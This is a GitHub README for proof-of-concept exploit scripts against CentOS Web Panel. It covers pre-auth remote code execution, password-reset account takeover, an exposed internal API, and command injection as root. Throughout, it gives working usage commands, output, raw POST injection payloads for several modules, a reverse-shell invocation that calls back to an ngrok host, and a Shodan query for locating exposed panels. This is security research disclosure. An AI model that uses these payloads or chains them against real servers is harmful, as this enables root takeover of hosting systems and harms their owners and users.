README.md

CentOS-WebPanel

Proof of concepts scripts for vulnerabilities in CentOS Web Panel

Pre Auth RCE

- WebPanel Versions <= 0.9.8.1120

It is possible to gain Remote Code Execution as root without any privlidges. This exploit chains a Local File Inclusion Vulnerability with a Command Injection vulnerability.

Example

```
python3 pre_auth_rce.py --target "127.0.0.1" --command "sleep 15"
```

You can optionally provide a Port Number and Local IP address to trigger a reverse shell

Account Takeover

The Password Reset process uses predictable data to generate the reset token. If you know a users username and email address it is possible to reset any user account.

This process does not work for the `root` account and will trigger a password reset email bieng sent to the target email address.

Example

```
python3 password_reset.py --target "<targetip>" --username "random" --
email_address "my@email.com" --password "RandomPassword"
[+] Sending Reset Request to Target
  [-] Got Date 2022-01-31 14:47:34 from response
  [-] Generating Reset Token with username, email and reset token
  [*] Token: 681bb70c8452b33f9d7b6e319c20727b
[+] Confirming Reset Token
[+] Sending New Password with Reset Token
[*] Password has been set to "RandomPassword" for username "random"
```

Internal API

The webpanel uses an internal API that is not protected from access. Any user account with the ability to host files via the FileManager can access this API.

This API exposes many fucntions that include listing, modifying and creating accounts. An example `internal_api.php` file can be uploaded and accessed from a browser to demonstrate some of the exposed capabilities.

Run Command as root (User Login)

A command injection vulnerability exists in the user login flows. By injecting data in to the `userlang` parameter we can gain code execution as root. This requires a valid username and password but can be chained with the account takeover listed above.

Example

```
python3 user_auth_rce.py --target "<targetip>" --username "random" --password
"RandomPassword" --command "sleep 5"
```

If `lhost` and `lport` are provided the exploit script will attempt to run a reverse shell that will connect as root to a netcat listener.

```
python3 user_auth_rce.py --target "<targetip>" --username "random" --password
"RandomPassword" --lhost "4.tcp.eu.ngrok.io" --lport 13921
```

Run Command as root (User Modules)

- WebPanel Versions <= 0.9.8.1124

Using this collection of vulnearbilitues it is possible for a standard user to gain code exection as root by injecting commands in to POST paramaters for a range of modules.

This exploit requires existing user credentials, this can be chained with the Account Takeover vulnerability listed above.

Example

```
python3 priv_esc_module_rce.py --target "<targetip>" --username "random" --
password "RandomPassword" --command '`sleep 15`' --module 'dns_zone_editor'
[+] Logging in to target with username random
  [-] Auth Successful
  [-] Selecting Module dns_zone_editor
  [-] Attempting to trigger RCE
[*] Command probably executed
```

Modules

There are several vulnerable modules

1. Adds a new DNS record with a command injection in the name field.

- [POST] `/index.php?module=mysql_manager&acc=optimizerdb`
- [DATA] `namereg=touch /tmp/hello&domain=test.example.com&cachereg=1&valuereg="aGVsbG8="&reg=TXT`

2. Optimize database

- [POST] `/index.php?module=mysql_manager&acc=` optimizerdb`
- [DATA] `db=test_hello$(whoami>/tmp/xxx)`

3. Disk usage

- `[POST] /index.php?module=disk_usage&acc=load_directory`
- `[DATA] folder_name='/home/<username>/$(id>/tmp/id)'`

4. SSL Certificate Info

- `[POST] /index.php?module=letsencrypt&acc=infomodal`
- `[DATA] domain=test.example.com$(whoami>/tmp/www)&type=info`

5. Error log viewer

- `[POST] index.php?module=error_log&acc=select`
- `[DATA] domain=test.example.com&tipe=access&numline=20&op=select&textsearch=howdy$(id>/tmp/howdy)`

Detecting

Shodan

https://www.shodan.io/search?query=%22Server%3A+cwpsrv%22

```
Set-Cookie: cwpsrv-  Server: cwpsrv
```

SSL: |- Organization: CentOS Web Panel

Releases

No releases published

Packages

No packages published

Contributors 3


kevthehermit TheHermit


stealthcopter Matthew Rollings


mpettitt Matthew Pettitt

Languages

- **Python** 83.7%
- **PHP** 16.3%